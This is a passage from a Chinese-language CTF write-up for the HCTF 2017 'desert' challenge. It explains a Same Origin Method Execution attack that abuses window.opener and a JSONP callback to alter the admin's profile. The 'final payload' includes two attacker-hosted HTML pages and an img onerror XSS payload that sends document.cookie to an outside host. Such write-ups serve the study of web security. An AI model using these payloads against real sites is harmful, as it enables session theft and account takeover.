回顾站内逻辑，当我们点击click me，首先请求/edit.php?callback=RandomProfile，然后跳转至任意http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming，然后页面关闭并，更新信息到当前用户上，假设这里user是我们设定的还有恶意代码的user，那我们就可以修改admin的信息了，但，怎么能让admin打开这个页面呢？
我们可以尝试一个，如果直接打开edit.php?callback=RandomProfile&user=xiaoming
报错了，不是通过open打开的页面，寻找不到页面内的window.opener对象，也就没办法做任何事。
这里我们只有通过SOME，才能操作同源下的父窗口，首先我们得熟悉同源策略，同源策略规定，只有同源下的页面才能相互读写，如果通过windows.open打开的页面是同源的，那么我们就可以通过window.opener对象来操作父子窗口。
而SOME就是基于这种特性，可以执行同源下的任意方法。
最终payload：
vps, 1.html
代码语言：txt复制<script>
function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>vps, 2.html
代码语言：txt复制<script>
function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>在lorexxar账户的message里添加payload
代码语言：txt复制<img src="" onerror=window.location.href='http://0xb.pw?cookie='+document.cookie>getflag!
